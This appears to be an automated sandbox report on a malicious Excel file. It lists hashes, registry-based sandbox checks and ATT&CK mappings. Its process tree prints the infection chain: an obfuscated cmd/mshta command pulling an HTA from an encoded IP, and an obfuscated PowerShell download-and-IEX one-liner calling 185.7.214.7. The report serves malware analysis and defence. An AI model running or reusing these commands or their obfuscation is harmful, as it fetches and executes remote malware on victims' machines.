a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b

General

Target
5bffdae22f776d781cab2ad5309a6154.xls
Size 142KB
Sample220120-mteekahfa7
SHA256 a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b
MD5 5bffdae22f776d781cab2ad5309a6154
SHA1 7943586d63be16066060c5482073b1313cbc78b0
SHA512 7d1d540e1bb3c4850ae18c0d1fd80082c17b18e4d6c5992c8265ea2c6ba93bce1338669f82ad13115feb56c962bdd3e389173b97c484b325187d482438a4d7e8
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2684	3960	cmd.exe	51

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3600	3540	WerFault.exe	65

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3960	EXCEL.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 3716	3960	EXCEL.EXE	58
PID 3960 wrote to memory of 3716	3960	EXCEL.EXE	58
PID 3960 wrote to memory of 2684	3960	EXCEL.EXE	63
PID 3960 wrote to memory of 2684	3960	EXCEL.EXE	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5bffdae22f776d781cab2ad5309a6154.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3716
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  PID:2684
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    PID:3540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3876
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3540 -s 1720
      4⤵
      Program crash
      PID:3600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3364

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 3540 -ip 3540
1⤵
PID:2712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3960-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

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memory/3960-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/3960-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/3960-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/3960-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/3960-137-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Download

memory/3960-138-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads